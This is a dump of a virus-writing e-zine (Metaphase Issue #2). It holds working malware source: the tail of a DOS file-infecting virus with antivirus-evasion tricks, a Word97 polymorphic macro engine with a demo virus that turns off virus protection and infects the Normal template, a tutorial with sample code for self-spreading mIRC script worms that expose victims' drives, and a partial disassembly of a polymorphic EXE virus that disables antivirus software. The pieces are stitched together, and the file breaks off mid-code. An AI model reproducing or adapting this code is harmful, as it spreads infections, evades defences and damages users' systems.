        Jmp Countinue

AddCrypt:                                 ; sub/add

Lodsw

Sub Ax, Dx

Stosw

Loop AddCrypt

        Mov Al,05h                        ; Add Ax,???? op code.

Jmp Countinue

XorCrypt:                                 ; xor/xor

Lodsw

Xor Ax, Dx

Stosw

Loop XorCrypt

        Mov Al,35h

Countinue:

        Mov Byte Ptr [Offset Heap+14d], Al  ; whatever opcode needed.

        Pop Di                            ; restore counter

Mov Ah,40h

        Mov Cx,End_Virus-Start            ; write out vir to file.

        Lea Dx,Heap                       ; starting from heap.

Int 21h

        Mov Ax,4200h                      ; Begin Of File

Xor Cx,Cx

        Cwd                               ; Clear DX

Int 21h

Copy_New_Header:                          ; Out the New header.

Mov Ah,40h

        Mov Cx,1ch                        ; 1ch bytes.

        Lea Dx,Header                     ; blah

        Int 21h                           ; blah, ain't this fun? :)

Close:

        Pop Dx                            ; restore date

        Pop Cx                            ; time.

        Mov Ax,5701h                      ; al=01 - *SET* time/date

Int 21h

                                          ; close file

Mov Ah,3eh

Int 21h

        Dec Di                            ; counter going down.

        Jz Restore_Dta                    ; if = 0, restore DTA, and exit

        Jmp Get_Next                      ; otherwise, next!

Restore_Dta:

        Mov Ax,2524h                      ; restore old int24h

        Push Ds                           ; we still need DS after this.

Lds Dx,[Old24]

Int 21h

        Pop Ds                            ; gimme!

        Mov Ah,3bh                        ; back to original dir.

Lea Dx,[Starting_In]

Int 21h

Make_Sure:

        In Al,40h                          ; my favorite part, payload check.

Or Al,Al

        Jz HeHeH                           ; 1/256 times.

Not_Now:

        Mov Ax,Word Ptr [_Es]              ; ax= PSP seg

        Push Ax                            ; ds= PSP

Add Ax,10h

        Add Word Ptr [Old_Cs],Ax           ; figure new CS

Pop Ds

        Mov Dx,80h                         ; restore DTA

Mov Ah,1ah

Int 21h

        Push Ds                            ; es= PSP

Pop Es

Restore_Stack:

Cli

        Add Ax,Word Ptr Cs:[Old_Ss]        ; set new SS:SP

Mov Ss,Ax

Mov Sp,Word Ptr Cs:[Old_Sp]

Sti

Jump_To_Host:

        Push Ds

        Xor Ax,Ax                          ; restore Int 3h (being nice)

        Mov Ds,Ax

        Mov Al, Byte Ptr [Old03]

        Xchg Al,Byte Ptr Ds:[12d]

        Pop Ds

; only problem with below: won't work with computers with a tape deck.

; but, who cares? this virus is already unfriendly to those comps.

Xor Ax,Ax	; TBAV can't emulate this.

Int 15h	; returns 86h if no tape drive.

Cmp Ah,86h	; TBAV don't know this.

Jne $+128	; winds up in the payload area.

; which is found "legit"

; see TI#1 for more info

Int 3h	; used to Flush Prefetch.

Db 0eah	; jump to host

Old_Regs:

Old_Ip Dw 0

Old_Cs Dw 0

Old_Sp Dw 0

Old_Ss Dw 0

Store_Regs:

Store_Ip Dw 0

Store_Cs Dw 0fff0h

Store_Sp Dw 0

Store_Ss Dw 0fff0h

Show:

Lodsb

Mov Ah,0eh

Int 10h

Loop Show

Ret

New24h:                                         ; temporary handler.

Mov Al,3	; fail error

Iret	; interrupt return

HeHeH:

        Mov Ax,13h                              ; switch into gfx mode :)

        Int 10h                                 ; danke Int 10h.

        Mov Ax,1012h                            ; Set VGA palette

Xor Bx,Bx

        Mov Cx,256                              ; 256 colors.

Push Ds

Pop Es	; es=ds

        Lea Dx,Vgapal                           ; pointer to the VGA "palete"

Int 10h

        Mov Ax,0a000h                           ; HMA (video ram)

Mov Es,Ax	; video fx baby :)

Xor Di,Di

        Mov Cx,64000                            ; 64,000 times we loop.

Nxtcol:

        Mov Al,Cl                               ; Al=low part of CX

        And Al,65                               ; limit to 65.

        Stosb                                   ; store it.

        Loop NxtCol                             ; next color.

        Mov Cx,64                               ; 64 times.

NxtDim:

        Xor Di,Di                               ; di = 0

NxtDim1:

        Mov Al,Byte Ptr Es:[Di+3]

        Or Al,Al                                ; 0?

        Jz Nodec                                ; Nope

        Dec Al                                  ; just decrease al for now.

NoDec:

Stosb	; plot.

        Cmp Di,64000                            ; done?

        Jne NxtDim1                             ; no, do it agian.

        Xor Bx,Bx                               ; Clear BX for delay loop.

NxtWait:

        Inc Bx                                  ; minor delay loop.

Jne Nxtwait

        Loop NxtDim                             ; hate rides that spin :)

        Mov Ax,13h                              ; clears screen in this case.

        Int 10h

        Mov Ah,2                                ; move pointer

        Mov Dx,211h                             ; 2,11 cordinates.

        Int 10h                                 ; do it.

        Push Cs                                 ; cs=ds

Pop Ds

        Lea Si,Mes                              ; pointer to the message

        Mov Bl, 1                               ; page.

        Mov Cx,7                                ; length.

        Call Show                               ; show the string using tel-type

Mov Ah,2h	; place cursor :)

        Mov Dx,40dh                             ; done, put cursor at 05, 14

        Int 10h                                 ; lay it down mr. comp.

        Lea Si,Mes2                             ; Points at message 2.

        Mov Cx,0fh                              ; it is 15 bytes long.

        Mov Bl,2                                ; color for second msg - green

        Call Show                               ; show that bad boy.

        Xor Ax,Ax                               ; user, please acknowledge

Int 16h

                                                ; lets destruct HD now...NOT!

        Mov Ax,3h                               ; guess they can have those

        Int 10h                                 ; small letters back <EG>

        Jmp Not_Now                             ; back up.

        Mes db 'Sisters'                        ; dumb message to display ;)

Mes2 db '3 close friends'

Ouch:                                           ; "copyright crap"

        Msg      Db '[Sisters] Techno Phunk/Ti',13,10

; some AV CRC files.

AntiVirDat Db 'Anti-Vir.Dat',0

MsCrap   Db 'CHKLIST.*',0

IvCrap   Db 'ivb.ntz',0

; Masks for searches.

Vx_Mask  Db '*.3xe',0

Ovl_mask Db '*.ovl',0

EditCom  Db 'edit.com',0

; DIR's to infect.

Dot      Db '..',0

Command  Db 'windows\command',0

; the AV list (don't infect them!)

        AVlist   DB 'F-AVDRSCIVTBFIFV',0

; AV - AVP

; DR - Dr Web

; SC - Scan - McAfee

; IV - Inversi#@$@

; TB - ThunderByte

; FI - FindVirus  \

;                Dr Scully stuff.

; FV - fv????.exe /

; Palete, etc.

Vgapal db 1,1,1

End_Crypt:

End_Virus:

Header Db 1fh Dup (?)

Starting_In Db 64h Dup(?)

_Es Dw ?

Dta Db 43 Dup (?)

Checkin  Db ?

Old24    Dd ?

        Old03    Db ?

Heap:

Code ends

End Start

Sisters by Techno Phunk / TI


ASM
Metaphase ASM

Cake 0.1 by Sblip

pr0n Worm by nUcLeii

Disassembly of Dementia.4229 by Darkman / 29A

Disassembly of Bones AKA Stoned.t by Buz / FS

Zerg v0.1 beta by Dark Slayer

Sisters by Techno Phunk / TI


Misc
Metaphase Misc

Worm Irc Script Kit by Knowdeth

BOOM by Knowdeth

Powerpoint Macro Generator by Knowdeth

PiE by jackie twoflower

JSPV by jackie twoflower

ELF Analyzation Toolkit by Sblip

Nasty Tricks by Serial Killer / CB

ULTRAS MACRO POLYMORPHIC by ULTRAS / SOS

Boot Utils by Buz / FS

Boot Trap v 0.2 alpha by Buz / FS

The Macro Access Kit 1.0 by AngelsKitten / NuKE

Windows Scripting Host 2 Polymorphic Engine by Rajaat


Nasty Tricks by SerialKiller / CB

There was no txt file that came with this.

All I can say is you must run it to understand.

-Knowdeth


ULTRAS MACRO POLYMORPHIC by ULTRAS / SOS
ULTRAS MACRO POLYMORPHIC by ULTRAS

ULTRAS MACRO POLYMORPHIC

This polymorphic generator for word97, changes code of virus by by insertions of lines a commentary, as commentary it puts generateded numerals. Numerals you written below you may change on others and remake polymorphic as you to want, i not to take offence :)

How place polymorphic that it work?

1) Is Necessary place its in module of your virus.

2) In macros for instance "AutoOpen" create on it links type "Call UMP" or simply "UMP"

3) In polymorphic below where is written UMP to is necessary insert name of your module

In the same way I has solved to write for this polymophic demo-virus it is immediately written after polymorphic generator so if you that that did not understand can peer into as this be done in demo virus.

ULTRAS

ultras2@hotmail.com

url: http://sourceofkaos.com/homes/ultras

***************************************************************************

                      ULTRAS MACRO POLYMORPHIC (UMP)

***************************************************************************

Attribute VB_Name = "UMP"

Sub UMP()

' name macros

-=[ULTRAS MACRO POLYMORPHIC]=-

' my info

PoNu = Int(Rnd() * 33 + 1)

' we generate numerals from 0 before 33

For Mutate = 1 To PoNu

' this how many times we will repeat procedure

PoRL = Application.VBE.ActiveVBProject.VBComponents("UMP").CodeModule.CountOfLines

' we generate line in module UMP

PoLi = Int(Rnd() * PoRL + 1)

' we generate line in which shall write procedure

a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: d = Rnd * 180: e = Rnd * 49

' generate numerals

Application.VBE.ActiveVBProject.VBComponents("UMP").CodeModule.InsertLines PoLi, vbTab & "' " & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e

' but we insert in viral module of that numeral which were got

Next Mutate

' we will repeat once again only on other line

End Sub

***************************************************************************

                             DEMO VIRUS (UMP)

***************************************************************************

Attribute VB_Name = "Demo"

Sub AutoClose()

On Error Resume Next

UMP '<--- call polymorphic engine

Application.ScreenUpdating = False

Application.DisplayAlerts = wdAlertsNone

Options.VirusProtection = False

DocInfect = False

GlobInfect = False

For D = 1 To ActiveDocument.VBProject.VBComponents.Count

If ActiveDocument.VBProject.VBComponents(D).Name = "Demo" Then

DocInfect = True

End If

Next

For U = 1 To NormalTemplate.VBProject.VBComponents.Count

If NormalTemplate.VBProject.VBComponents(U).Name = "Demo" Then

GlobInfect = True

End If

Next

If DocInfect = False Then

Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Demo", Object:=wdOrganizerObjectProjectItems

ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate

End If

If GlobInfect = False Then

Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Demo", Object:=wdOrganizerObjectProjectItems

Options.SaveNormalPrompt = False

End If

UMP '<--- call polymorphic engine

Application.DisplayAlerts = wdAlertsAll

UMP

End Sub

Sub UMP()

'UMP Demo Virus by ULTRAS

PoNu = Int(Rnd() * 33 + 1)

For Mutate = 1 To PoNu

PoRL = Application.VBE.ActiveVBProject.VBComponents("Demo").CodeModule.CountOfLines

PoLi = Int(Rnd() * PoRL + 1)

a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: d = Rnd * 180: e = Rnd * 49

Application.VBE.ActiveVBProject.VBComponents("Demo").CodeModule.InsertLines PoLi, vbTab & "' " & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e

Next Mutate

End Sub


About
Metaphase About

Distro Sites

Version

Specail Thanks


Distro Sites
Offical Distro Sites Of Metaphase Issue #2

http://www.coderz.net/metaphase/

http://www.coderz.net/

http://www.coderz.net/Metalkid/

http://www.coderz.net/knowdeth/

http://www.coderz.net/3C/

http://www.coderz.net/bsl4/

http://zerogravity.ath.cx/

http://www.shadowvx.com/nuke/

http://www.coderz.net/Roadkil/

http://www.shadowvx.com/nuke/angelskitten/


Version

2.0K

2000

Metaphase Issue  #2

Best Viewd at 480x640 or 600x800

Under Windows 9.x

Tested In Wine & Mac 9.x Emulator

This Program is FREEWARE! there is never to be a charge

for it and if you payed for it you got riped off. This program

may not be decompiled or hacked in to with out my permission

Disclaimer:

By Running This Program You Agree...

Metaphase is NOT responsible for any damages

that may result from using this program. Such damages

are your problem, not ours. Metaphase will not  be held

responsible for the abuse or misuse of anything offerd

on this Program. In no event will Metaphase  be liable for any

damages, including but not limited to any lost profits,

lost savings or any incidental or consequential damages,

whether resulting from impaired or lost data, software or

computer failure or any other cause, or for any other claim

by the user or for any third party claim. Understand that the

possession and exchange of  virus/worm information is frowned

upon in many parts of the world. Metaphase does not take any

responsibility for anything in this Program legal or otherwise.

This program is for educational /  information  purposes ONLY.

Nothing in this Program may be used to cause harm to any

computer system. If you do not agree Delete this file now and

all files in this package!!


Specail Thanks
Special Thanks

Beta Testers:

Windows 9.x

Tally

Deloss / NuKE

Angelskitten / NuKE

Windows 3.11

PZest

Linux Wine

Kid Cypher

W1ld Man

Mac Windows 9.x Emulator

Kristy

Back Up Support

Tally

Spell Checking

Nucleii

Tally

Music Cover of Deftones - My Summer (Shove it)

Keeping me on my toes, makeing sure it got done and all the advice.

Darkman / 29A


popup
Metaphase Issue #2


mIRC Script Worms Easy in Lessions by Knowdeth

Utils you will need:

A text editor of some sort.

A working knollage of mIRC

A small understanding of programming in HLL

About appending mIRC Script Worms:

These are simple ini files which use a flaw in older mIRC versions,

5.3x this no longer applys. What happends is that the ini file

is DCC'd to the user either adding or overwiteing there script.ini.

This happend to be a defult ini file in mirc which will load with

start up of the program. They use this flaw to then to take command

of the irc client, after that process they then force the client to

DCC copys of themself to other users.

In this tut I will try to teach you a basic understanding of how

mIRC Script Worms transfer themself and the basics of what one can

do after infection has takeing place with source code.

The DCC transfer for infection:

--------------------------------------------------------------------

n0=;The ON JOIN method

n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }

n2=  /dcc send $nick $script.ini

n3=}

n4=

This use is when some one would join the channel

--------------------------------------------------------------------

n0=;The ON PART method

n1=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }

n2=/dcc send $nick $script.ini

n3=}

n4=

This use is when some one would leave the channel

--------------------------------------------------------------------

n0=;The ON TEXT method

n1=ON 1:TEXT:*slaps*:#:{ /if ( $nick == $me ) { halt }

n2=/dcc send $nick $script.ini

n3=}

n4=

This use is when some one would say "slaps" the channel

--------------------------------------------------------------------

What you can force a client to do after infection:

On TEXT Methods:

--------------------------------------------------------------------

n0=;The ON TEXT say method

n1=ON 1:TEXT:*lame*:#:/say I am lame for running a Script.ini

When some one would say "lame" in the channel it would force the infected

user to say "I am lame for running a Script.ini"

--------------------------------------------------------------------

n0=;The ON TEXT DCC method

n1=ON 1:TEXT:*cya*:#:/dcc send $nick c:\windows\win.ini

When some one would say "cya" in the channel it would force the infected

user to DCC c:\windows\win.ini

--------------------------------------------------------------------

n0=;The ON TEXT Fserv method

n1=ON 1:TEXT:*!serveme*:#:/fserve $nick 1 c:\

When some one would say "serveme" in the channel it would force the infected

user to Fserv them all files c:\ drive

--------------------------------------------------------------------

n0=;The ON TEXT ignore method

n1=ON 1:TEXT:*virus*:#:/.ignore $nick

When some one would say "virus" in the channel it would force the infected

user to ignore the person who said "virus"

--------------------------------------------------------------------

n0=;The ON TEXT quit method

n1=ON 1:TEXT:*go*:#:/quit I Love You!

When some one would say "go" in the channel it would force the infected

user to disconnect from the server and say "I Love You!" on exit

--------------------------------------------------------------------

n0=;The ON TEXT op method

n1=ON 1:TEXT:*ops*:#:/mode $chan +o $nick

When some one would say "ops" in the channel it would force the infected

user to op that user

--------------------------------------------------------------------

n0=;The ON TEXT deop method

n1=ON 1:TEXT:*nops*:#:/mode $chan -o $nick

When some one would say "nops" in the channel it would force the infected

user to Deop that user

--------------------------------------------------------------------

n0=;The ON TEXT kick method

n1=ON 1:TEXT:*kickme*:#:/kick $chan $me

When some one would say "kickme" in the channel it would force the infected

user to kick the infected user

--------------------------------------------------------------------

n0=;The ON TEXT voice method

n1=ON 1:TEXT:*voice*:#:/mode $chan +v $nick

When some one would say "voice" in the channel it would force the infected

user to voice that user

--------------------------------------------------------------------

n0=;The ON TEXT devoice method

n1=ON 1:TEXT:*nvoice*:#:/mode $chan -v $nick

When some one would say "nvoice" in the channel it would force the infected

user to devoice that user

--------------------------------------------------------------------

n0=;The ON TEXT join method

n1=on 1:TEXT:gohome:?:/join #lame

When some one would say "gohome" in the channel it would force the infected

user to join channel #lame

--------------------------------------------------------------------

n0=;The ON TEXT join method

n1=on 1:TEXT:names:?:/nick _XInFected

When some one would say "names" in the channel it would force the infected

user to change there nick to "_XInFected"

--------------------------------------------------------------------

What you can force a client to do after infection:

Ctcp Methods:

--------------------------------------------------------------------

n0=;The ctcp reply method

n1=ctcp 1:REPLY: { .ctcpreply $nick I am Owned By user anonymous | halt }

When some one would ctcp in the channel it would force the infected

user to change there nick to force the reply "I am Owned By user anonymous"

--------------------------------------------------------------------

What you can force a client to do after infection:

Connect Methods:

--------------------------------------------------------------------

n0=;The connect join method

n1=on 1:CONNECT:/join #lame

This would force the infected user to join channel #lame on connect

--------------------------------------------------------------------

n0=;The connect nick method

n1=on 1:CONNECT:/nick InFeCtEd

This would force the infected user to change there nick to "InFeCtEd"

on connect

--------------------------------------------------------------------

What you can force a client to do after infection:

On Quit Methods:

--------------------------------------------------------------------

n0=;The ON QUIT msg method

n1=ON 1:QUIT:#:/msg $chan this worm is cool!

When some one would Quit the server it would force the infected

user to msg the channel "this worm is cool!"

--------------------------------------------------------------------

Sample Code for Anthrax Script.ini worm

--------------------------------------------------------------------

n0=; - mIRC.Anthrax -

n1=; by -KD- [Metaphase & NoMercy]

n2=ON 1:START:{ .sreq ignore

n3=  .remote on

n4=  titlebar (Not connected)

n5=  }

n6=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }

n7=  /dcc send $nick $script.ini

n8=}

n9=

n10=ON 1:TEXT:*anthrax*:#:/say Anthrax owns me!!!

n11=on 1:TEXT:names:?:/nick _Anthrax_

n12=ON 1:TEXT:*virus*:#:/.ignore $nick

n13=ON 1:TEXT:*worm*:#:/.ignore $nick

n14=ON 1:TEXT:*script.ini*:#:/.ignore $nick

n15=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }

n16=/dcc send $nick $script.ini

n17=}

n18=

n19=; if banned and still have ops unban your self

n20=ON @1:BAN:#:if ( $banmask iswm $address($me,5) ) mode $chan -b $banmask

n21=ON 1:QUIT:#:/msg $chan Anthrax it rocks!

--------------------------------------------------------------------


Disassembly of Ply.5143 by Darkman / 29A

comment *

        Ply.5143

      Disassembly by

       Darkman/29A

  Ply.5143 is a 5143 bytes parasitic direct action EXE virus. Infects every

  file in current directory, when executed, by appending the virus to the

  infected file. Ply.5143 has an error handler, anti-heuristic techniques,

  anti-debugging techniques, retro structures and is polymorphic in file using

  its internal polymorphic engine.

  To compile Ply.5143 with Turbo Assembler v 4.0 type:

    TASM /m PLY_5143.ASM

    TLINK /t /x PLY_5143.OBJ

*

.model tiny

.code

 org   100h	 ; Origin of Ply.5143

code_begin:

delta_offset equ     $+01h	 ; Delta offset

     mov     bp,100h	 ; BP = delta offset

poly_begin:

     mov     ax,cs	 ; AX = code segment

     nop

     mov     ds,ax	 ; DS =  "      "

     nop

     mov     es,ax	 ; ES =  "      "

     nop

     mov     ax,100h	 ; AX = offset of beginning of code

     sub     bp,ax	 ; Subtract offset of beginning of ...

     nop

     sti	 ; Set interrupt-enable flag

     nop

     nop

     cld	 ; Clear direction flag

     nop

     nop

     mov     ax,2020h

     mov     si,(4e41h-2020h)	 ; Disable AutoProtect and NAVTSR

     add     si,ax	 ;    "         "       "    "

     nop

     mov     di,(4e55h-2020h)	 ;    "         "       "    "

     add     di,ax	 ;    "         "       "    "

     nop

     add     ax,(0fe02h-2020h)	 ;    "         "       "    "

     int     2fh

     nop

     mov     ax,20e0h

     add     ax,(4100h-20e0h)	 ; Delete file

     lea     dx,_ncdtree	 ; DX = offset of _ncdtree

     add     dx,bp	 ; Add delta offset

     nop

     int     21h

     nop

     xor     ax,ax	 ; Zero AX

     nop

     mov     ds,ax	 ; DS = segment of interrupt table

     nop

     mov     si,(2fh*04h)	 ; SI = offset of interrupt vector 24h

     lea     di,int2f_addr	 ; DI = offset of int2f_addr

     add     di,bp	 ; Add delta offset

     nop

     mov     cx,04h	 ; Move four bytes to int2f_addr

     rep     movsb	 ; Move interrupt vector 2fh to int...

     nop

     mov     ax,cs	 ; AX = code segment

     nop

     mov     ds,ax	 ; DS =  "      "

     nop

     mov     ax,1202h	 ; Get interrupt address

     mov     dx,24h	 ; Get interrupt address of interru...

     call    int2f_simula

     mov     ax,cs	 ; AX = code segment

     nop

     mov     es,ax	 ; ES =  "      "

     nop

     mov     ax,(24h*04h)	 ; AX = offset of interrupt vector 24h

     cmp     bx,ax	 ; Debugging?

     nop

     je      prepare_exit	 ; No debugging? Jump to prepare_exit

     nop

     mov     ax,(3501h-2020h)	 ; Get interrupt vector 01h

     add     ax,2020h

     call    int21_simula

     lea     di,int01_off	 ; DI = offset of int01_off

     add     di,bp	 ; Add delta offset

     nop

     mov     [di],bx	 ; Store offset of interrupt 01h

     nop

     mov     ax,cs	 ; AX = code segment

     nop

     mov     es,ax	 ; ES =  "      "

     nop

     mov     ax,(2501h-2020h)	 ; Get interrupt vector 01h

     add     ax,2020h

     lea     dx,int01_virus	 ; DX = offset of int01_virus

     add     dx,bp	 ; Add delta offset

     nop

     call    int21_simula

prepare_exit:

     lea     si,file_header	 ; SI = offset of file_header

     add     si,bp	 ; Add delta offset

     nop

     lea     di,instruct_ptr	 ; SI = offset of instruct_ptr

     add     di,bp	 ; Add delta offset

     nop

     mov     ax,[si+14h]	 ; AX = instruction pointer

     stosw	 ; Store instruction pointer

     nop

     nop

     mov     ax,[si+16h]	 ; AX = code segment

     stosw	 ; Store code segment

     nop

     nop

     mov     ax,[si+0eh]	 ; AX = stack segment

     stosw	 ; Store stack segment

     nop

     nop

     mov     ax,[si+10h]	 ; AX = stack pointer

     stosw	 ; Store stack pointer

     nop

     nop

     lea     si,poly_begin	 ; SI = offset of poly_begin

     add     si,bp	 ; Add delta offset

     nop

     mov     cx,(poly_end-poly_begin)/03h

poly_loop:

     in      al,40h	 ; AL = 8-bit random number

     nop

     and     al,00001111b	 ; AL = random number between zero ...

     nop

     push    cx 	 ; Save CX at stack

     nop

     nop

     push    si 	 ; Save SI at stack

     nop

     nop

     cmp     al,00h	 ; Prepend a NOP to the opcode?

     nop

     jne     test_append	 ; Not equal? Jump to test_append

     nop

     mov     al,[si]	 ; AL = first byte of three-bytes b...

     nop

     cmp     al,90h	 ; NOP (opcode 90h)?

     nop

     je      dont_poly	 ; Equal? Jump to dont_poly

     nop

     mov     al,[si+02h]	 ; AL = third byte of three-byte block

     cmp     al,90h	 ; NOP (opcode 90h)

     nop

     jne     dont_poly	 ; Not equal? Jump to dont_poly

     nop

     mov     ax,[si]	 ; AX = first word of three-bytes b...

     nop

     lea     bx,poly_buffer	 ; BX = offset of poly_buffer

     add     bx,bp	 ; Add delta offset

     nop

     mov     [bx+01h],ax	 ; Store first word of three-bytes ...

     cmp     al,0ebh	 ; JMP imm8 (opcode 0ebh)

     nop

     je      dec_imm8	 ; Equal? Jump to dec_imm8

     nop

     and     al,11110000b

     nop

     cmp     al,70h	 ; Jump on condition?

     nop

     jne     prepend_nop	 ; Not equal? Jump to prepend_nop

     nop

dec_imm8:

     dec     byte ptr [bx+02h]	 ; Decrease 8-bit immediate

prepend_nop:

     mov     al,90h	 ; NOP (opcode 90h)

     nop

     mov     [bx],al	 ; Prepend a NOP to the opcode

     nop

     mov     di,si	 ; DI = offset of current three-byt...

     nop

     mov     si,bx	 ; SI = offset of poly_buffer

     nop

     mov     cx,03h	 ; Move three bytes

     rep     movsb	 ; Move three-bytes block to offset...

     nop

dont_poly:

     jmp     test_loop

test_append:

     cmp     al,01h	 ; Append a NOP to the opcode?

     nop

     jne     test_create	 ; Not equal? Jump to test_create

     nop

     mov     al,[si]	 ; AL = first byte of three-bytes b...

     nop

     cmp     al,90h	 ; NOP (opcode 90h)?

     nop

     jne     dont_poly_ 	 ; Not equal? Jump to dont_poly_

     nop

     mov     ax,[si+01h]	 ; AX = second word of three-bytes ...

     lea     bx,poly_buffer	 ; BX = offset of poly_buffer

     add     bx,bp	 ; Add delta offset

     nop

     mov     [bx],ax	 ; Store second word of three-bytes...

     nop

     cmp     al,0ebh	 ; JMP imm8 (opcode 0ebh)

     nop

     je      dec_imm8_	 ; Equal? Jump to dec_imm8_

     nop

     and     al,11110000b

     nop

     cmp     al,70h	 ; Jump on condition?

     nop

     jne     append_nop 	 ; Not equal? Jump to append_nop

     nop

dec_imm8_:

     inc     byte ptr [bx+01h]	 ; Decrease 8-bit immediate

append_nop:

     mov     al,90h	 ; NOP (opcode 90h)

     nop

     mov     [bx+02h],al	 ; Append a NOP to the opcode

     mov     di,si	 ; DI = offset of current three-byt...

     nop

     mov     si,bx	 ; SI = offset of poly_buffer

     nop

     mov     cx,03h	 ; Move three bytes

     rep     movsb	 ; Move three-bytes block to offset...

     nop

dont_poly_:

     jmp     test_loop

test_create:

     cmp     al,02h	 ; Create a CALL imm16 to the opcode?

     nop

     jne     delete_call	 ; Not equal? Jump to delete_call

     nop

     mov     ax,[si]	 ; AX = first word of three-bytes b...

     nop

     cmp     al,90h	 ; NOP (opcode 90h)?

     nop

     jne     create_call	 ; Not equal? Jump to create_call

     nop

     mov     al,ah	 ; AL = second byte of three-bytes ...

     nop

create_call:

     cmp     al,0e9h	 ; JMP imm16 (opcode 0e9h)

     nop

     je      call_exit	 ; Equal? Jump to call_exit

     nop

     cmp     al,0e8h	 ; CALL imm16 (opcode 0e8h)

     nop

     je      call_exit	 ; Equal? Jump to call_exit

     nop

     cmp     al,0ebh	 ; JMP imm8 (opcode 0ebh)

     nop

     je      call_exit	 ; Equal? Jump to call_exit

     nop

     cmp     al,0c3h	 ; RET (opcode 0c3h)

     nop

     je      call_exit	 ; Equal? Jump to call_exit

     nop

     and     al,11110000b

     nop

     cmp     al,70h	 ; Jump on condition?

     nop

     je      call_exit	 ; Equal? Jump to call_exit

     nop

     cmp     al,50h	 ; PUSH reg16/POP reg16?

     nop

     je      call_exit	 ; Equal? Jump to call_exit

     nop

     call    get_poly_off

     mov     cx,03h	 ; Move three bytes

     rep     movsb	 ; Move three-bytes block to offset...

     nop

     mov     al,0c3h	 ; RET (opcode 0c3h)

     nop

     stosb	 ; Store RET

     nop

     nop

     in      al,40h	 ; AL = 8-bit random number

     nop

     stosb	 ; Store 8-bit random number

     nop

     nop

     in      al,40h	 ; AL = 8-bit random number

     nop

     stosb	 ; Store 8-bit random number

     nop

     nop

     mov     al,0e8h	 ; CALL imm16 (opcode 0e8h)

     nop

     lea     bx,poly_buffer	 ; BX = offset of poly_buffer

     add     bx,bp	 ; Add delta offset

     nop

     mov     [bx],al	 ; Create a CALL imm16 to the opcode

     nop

     mov     ax,di	 ; AX = random offset of polymorphi...

     nop

     sub     ax,si	 ; Subtract offset of current three...

     nop

     sub     ax,06h	 ; Subtract size of six-bytes block

     mov     [bx+01h],ax	 ; Store 16-bit immediate

     mov     di,si	 ; SI = offset of current three-byt...

     nop

     mov     ax,03h	 ; AX = size of opcode CALL imm16

     sub     di,ax	 ; Subtract size of opcode CALL imm...

     nop

     mov     si,bx	 ; SI = offset of poly_buffer

     nop

     mov     cx,03h	 ; Move three bytes

     rep     movsb	 ; Move three-bytes block to offset...

     nop

call_exit:

     jmp     test_loop

delete_call:

     cmp     al,03h	 ; Delete previously created CALL i...

     nop

     jne     test_create_	 ; Not equal? Jump to test_create_

     nop

     mov     al,[si]	 ; AL = first byte of three-bytes b...

     nop

     cmp     al,0e8h	 ; CALL imm16 (opcode 0e8h)?

     nop

     jne     call_exit_ 	 ; Not equal? Jump to call_exit_

     nop

     mov     ax,[si+01h]	 ; AX = 16-bit immediate

     add     ax,03h	 ; Add size of opcode CALL imm16

     mov     di,si	 ; DI = offset of current three-byt...

     nop

     add     si,ax	 ; Add 16-bit immediate

     nop

     lea     bx,poly_blocks	 ; BX = offset of poly_blocks

     add     bx,bp	 ; Add delta offset

     nop

     cmp     si,bx	 ; 16-bit immediate within polymorp...

     nop

     jb      call_exit_ 	 ; Below? Jump to call_exit_

     nop

     mov     cx,03h	 ; Move three bytes

     rep     movsb	 ; Move three-bytes block to offset...

     nop

     mov     al,90h	 ; NOP (opcode 90h)

     nop

     mov     ah,al	 ; NOP; NOP (opcode 90h,90h)

     nop

     mov     [si-03h],ax	 ; Store NOP; NOP

     in      al,40h	 ; AL = 8-bit random number

     nop

     mov     [si-01h],al	 ; Store 8-bit random number

     in      al,40h	 ; AL = 8-bit random number

     nop

     mov     [si],al	 ; Store 8-bit random number

     nop

call_exit_:

     jmp     test_loop

test_create_:

     cmp     al,04h	 ; Create a JMP imm16 to the opcode?

     nop

     jne     delete_jmp 	 ; Not equal? Jump to delete_jmp

     nop

     mov     ax,[si]	 ; AX = first word of three-bytes b...

     nop

     cmp     al,90h	 ; NOP (opcode 90h)?

     nop

     jne     create_jmp 	 ; Not equal? Jump to create_jmp

     nop

     mov     al,ah	 ; AL = second byte of three-bytes ...

     nop

create_jmp:

     cmp     al,0e9h	 ; JMP imm16 (opcode 0e9h)?

     nop

     je      jmp_exit	 ; Equal? Jump to jmp_exit

     nop

     cmp     al,0e8h	 ; CALL imm16 (opcode 0e8h)

     nop

     je      jmp_exit	 ; Equal? Jump to jmp_exit

     nop

     cmp     al,0ebh	 ; JMP imm8 (opcode 0ebh)

     nop

     je      jmp_exit	 ; Equal? Jump to jmp_exit

     nop

     and     al,11110000b

     nop

     cmp     al,70h	 ; Jump on condition?

     nop

     je      jmp_exit	 ; Equal? Jump to jmp_exit

     nop

     call    get_poly_off

     mov     cx,03h	 ; Move three bytes

     rep     movsb	 ; Move three-bytes block to offset...

     nop

     mov     al,0e9h	 ; JMP imm16 (opcode 0e9h)

     nop

     stosb	 ; Store JMP imm16

     nop

     nop

     mov     ax,di	 ; AX = random offset of polymorphi...

     nop

     sub     ax,si	 ; Subtract offset of current three...

     nop

     neg     ax 	 ; Negate AX

     nop

     sub     ax,02h	 ; Subtract two from 16-bit immediate

     stosw	 ; Store 16-bit immediate

     nop

     nop

     mov     al,0e9h	 ; JMP imm16 (opcode 0e9h)

     nop

     lea     bx,poly_buffer	 ; BX = offset of poly_buffer

     add     bx,bp	 ; Add delta offset

     nop

     mov     [bx],al	 ; Create a JMP imm16 to the opcode

     nop

     mov     ax,di	 ; AX = random offset of polymorphi...

     nop

     sub     ax,si	 ; Subtract offset of current three...

     nop

     sub     ax,06h	 ; Subtract size of six-bytes block

     mov     [bx+01h],ax	 ; Store 16-bit immediate

     mov     di,si	 ; SI = offset of current three-byt...

     nop

     mov     ax,03h	 ; AX = size of opcode CALL imm16

     sub     di,ax	 ; Subtract size of opcode CALL imm...

     nop

